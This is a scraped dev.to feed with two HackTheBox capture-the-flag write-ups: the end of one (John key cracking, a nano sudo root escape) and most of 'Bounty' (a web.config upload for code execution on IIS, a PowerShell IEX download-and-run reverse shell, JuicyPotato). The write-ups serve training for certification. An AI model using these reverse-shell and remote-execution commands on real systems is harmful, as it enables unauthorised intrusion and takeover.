&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjwlwn60vksskx9lbfg9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjwlwn60vksskx9lbfg9.PNG" alt="Alt Text" width="485" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's run John!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;sudo john --wordlist=/usr/share/wordlists/rockyou.txt key&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhfar0k5r4to0r7ye1b2.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhfar0k5r4to0r7ye1b2.PNG" alt="Alt Text" width="800" height="212"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So save this password somewhere for the future &lt;em&gt;bloodninjas&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Heading back over to the box, I am going to continue to look through what additional files I can find.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;cat index.php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsi89m50nxdjaf4sx6aeq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsi89m50nxdjaf4sx6aeq.PNG" alt="Alt Text" width="800" height="122"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that there is another password here and looks to be hashed with Sha512!. &lt;/p&gt;

&lt;p&gt;Grab this and we will run it in the &lt;em&gt;Crackstation&lt;/em&gt; to see if it has been cracked. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb2d8ho6a8sqamgc8fnwz.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb2d8ho6a8sqamgc8fnwz.PNG" alt="Alt Text" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now using the &lt;em&gt;id_rsa&lt;/em&gt; file which should include your RSA key, lets use this and the newly found password to log into &lt;em&gt;Joanna&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;chmod 600 id_rsa&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;ssh -i id_rsa &lt;a href="mailto:joanna@10.10.10.171"&gt;joanna@10.10.10.171&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;input passphrase&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwezustzy7gprxh2fydjo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwezustzy7gprxh2fydjo.PNG" alt="Alt Text" width="800" height="599"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;sudo -l&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzpcxv4aqpi7s1e36zkha.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzpcxv4aqpi7s1e36zkha.PNG" alt="Alt Text" width="800" height="96"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This shows that &lt;em&gt;No password&lt;/em&gt; is needed when run from the &lt;em&gt;/bin/nano /opt/priv&lt;/em&gt;. &lt;/p&gt;

&lt;p&gt;Head over to GTFObins &lt;a href="https://gtfobins.github.io/gtfobins/nano/" rel="noopener noreferrer"&gt;Link&lt;/a&gt;&lt;br&gt;
and you see there is a way to spawn a root shell.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjq7eqdis31ihwnxv0otw.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjq7eqdis31ihwnxv0otw.PNG" alt="Alt Text" width="389" height="177"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;em&gt;nano&lt;/em&gt; to open the &lt;em&gt;/bin/nano /opt/priv&lt;/em&gt; file you will now edit it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;reset; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx8b66fe1mpp54vfbijsu.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx8b66fe1mpp54vfbijsu.PNG" alt="Alt Text" width="800" height="283"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxyk9xnhm8hfyk58ovfc7.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxyk9xnhm8hfyk58ovfc7.PNG" alt="Alt Text" width="674" height="87"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1tmvuqfeo2w77ndj6xpo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1tmvuqfeo2w77ndj6xpo.PNG" alt="Alt Text" width="376" height="198"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Bounty - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Tue, 14 Sep 2021 23:29:18 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-bounty-without-metasploit-oscp-prep-1bga</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-bounty-without-metasploit-oscp-prep-1bga</guid>
      <description>&lt;p&gt;Hello All,&lt;/p&gt;

&lt;p&gt;Just did Bounty from Hackthebox and would like to share my walk-through of the box.&lt;/p&gt;

&lt;p&gt;Let's Start!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -O -oN nmap.txt -p- -T4 10.10.10.93&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;li&gt;-p- = Scan all 65535 ports&lt;/li&gt;
&lt;li&gt;-O  = Operating System Detection&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgmdm4izgfmola7bdde5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgmdm4izgfmola7bdde5.PNG" alt="Alt Text" width="800" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Ports Open:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;80 HTTP Microsoft IIS httpD 7.5&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's run a &lt;strong&gt;vuln&lt;/strong&gt; scan really quick to see if anything comes up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap --script vuln -oN vuln.txt 10.10.10.93&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8t67q3tz1cgnvnhbt17.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8t67q3tz1cgnvnhbt17.PNG" alt="Alt Text" width="800" height="273"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing too interesting here for us, so let's move on.&lt;/p&gt;

&lt;p&gt;Heading over to the site, we are greeted with a Merlin landing page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq2kvoalurxix1558wsv0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq2kvoalurxix1558wsv0.PNG" alt="Alt Text" width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we &lt;em&gt;right-click&lt;/em&gt; the site we see that there isn't much information here to gather.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tu4gjbu3jmdmce339p2.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tu4gjbu3jmdmce339p2.PNG" alt="Alt Text" width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to run &lt;em&gt;dirb&lt;/em&gt; now to see if we can bust some directories.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Gobuster dir -u &lt;a href="http://10.10.10.93" rel="noopener noreferrer"&gt;http://10.10.10.93&lt;/a&gt; -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x aspx, html, txt, conf, php&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-x = This will find the file extension that might be on the site.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4n25recttebofnhdaowv.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4n25recttebofnhdaowv.PNG" alt="Alt Text" width="800" height="466"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Focusing on the 2 files that I highlighted we can see that there is a &lt;em&gt;UploadedFiles&lt;/em&gt; and &lt;em&gt;Transfer.aspx&lt;/em&gt; location on the site.&lt;/p&gt;

&lt;p&gt;Heading back over to the site we can see there is a upload option on the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nlzhi4j4jpfywqjpv67.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9nlzhi4j4jpfywqjpv67.PNG" alt="Alt Text" width="756" height="284"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After playing around with the upload's button I figure out that I am able to upload a &lt;em&gt;config&lt;/em&gt; file to the site. Some further reading and I come across the following article that should allow me to get an RCE on the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/" rel="noopener noreferrer"&gt;link&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scrolling down to the bottom of the page we can see that the script is &lt;em&gt;adding&lt;/em&gt; 2+1 and should equal 3 once uploaded on the site. Give it a go and see if you are able to get it running.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F22lntqvvgqmucm18d8ho.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F22lntqvvgqmucm18d8ho.PNG" alt="Alt Text" width="730" height="159"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;cat &amp;gt; web.config&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;nano web.config&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now copy + paste the code into the newly created file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3an14urrkmctzgo9ly2q.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3an14urrkmctzgo9ly2q.PNG" alt="Alt Text" width="726" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhi9kzev7ntyh115ssk8i.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhi9kzev7ntyh115ssk8i.PNG" alt="Alt Text" width="800" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fii4coy0t40ikvk8u7grq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fii4coy0t40ikvk8u7grq.PNG" alt="Alt Text" width="623" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now after uploading the file head over to &lt;em&gt;uploadfiles/web.config&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw6c1a958y1kuoso875q1.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw6c1a958y1kuoso875q1.PNG" alt="Alt Text" width="800" height="115"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are now going to create a Reverse shell that should allow us to get a interactive shell on the machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;echo &amp;gt; shell2.ps1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I am going to copy/paste the following nishang Reverse Shell in the newly created file &lt;a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1" rel="noopener noreferrer"&gt;link&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Now at the bottom of the &lt;strong&gt;shell2.ps1&lt;/strong&gt; script past the following:&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Invoke-PowerShellTCP -Reverse -IPAddress tun0 -Port 4444&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnasxj57nyi3tu6hq7etc.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnasxj57nyi3tu6hq7etc.PNG" alt="Alt Text" width="666" height="162"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now within the &lt;em&gt;web.config&lt;/em&gt; edit the code to add the following:&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Set obj = CreateObject("WScript.Shell")&lt;br&gt;
obj.Exec("cmd /c powershell IEX(New-Object Net.Webclient).DownloadString('&lt;a href="http://tun0:80/shell2.ps1')%22" rel="noopener noreferrer"&gt;http://tun0:80/shell2.ps1')"&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxstjbmhbqyli9ppnzinf.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxstjbmhbqyli9ppnzinf.PNG" alt="Alt Text" width="800" height="81"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python -m SimpleHTTPServer 80&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This will serve over the file.&lt;/p&gt;

&lt;p&gt;Now lets start our Netcat listener.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 4444&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsxgtkdo1c74gjchqv13.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsxgtkdo1c74gjchqv13.PNG" alt="Alt Text" width="422" height="65"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now upload the file to the site like you did before.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1eost9fckzhwlp0w2edw.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1eost9fckzhwlp0w2edw.PNG" alt="Alt Text" width="800" height="80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yf6ifu0db38vhid0q98.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yf6ifu0db38vhid0q98.PNG" alt="Alt Text" width="800" height="187"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;whoami&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F96vbs8u85ln39tughuas.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F96vbs8u85ln39tughuas.PNG" alt="Alt Text" width="652" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;systeminfo&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozdtm4cqg7hb0dfukxd4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozdtm4cqg7hb0dfukxd4.PNG" alt="Alt Text" width="771" height="666"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So it look's like we need to do a Priv Esc on the machine. After some digging I see that SeImpersonatePrivilege is enabled.&lt;/p&gt;

&lt;p&gt;I am going to grab &lt;strong&gt;JuciyPotato&lt;/strong&gt; and run it to see if we can do a priv esc. This blog &lt;a href="https://medium.com/r3d-buck3t/impersonating-privileges-with-juicy-potato-e5896b20d505" rel="noopener noreferrer"&gt;link&lt;/a&gt; provides a wealth of information on the tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;wget &lt;a href="https://github.com/ohpe/juciy-potato/release/download/v0.1/JuicyPotato.exe" rel="noopener noreferrer"&gt;https://github.com/ohpe/juciy-potato/release/download/v0.1/JuicyPotato.exe&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frikpenfbx04whwd3qgxr.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frikpenfbx04whwd3qgxr.PNG" alt="Alt Text" width="800" height="41"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We will need to create a &lt;em&gt;bat&lt;/em&gt; file that calls to our Powershell script once again. This time we will change the Port number its calling out to.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;powershell -c IEX(New-Object Net.Webclient).Downloadstring('&lt;a href="http://tun0/Invoke-PowerShellTCP.ps1'" rel="noopener noreferrer"&gt;http://tun0/Invoke-PowerShellTCP.ps1'&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;

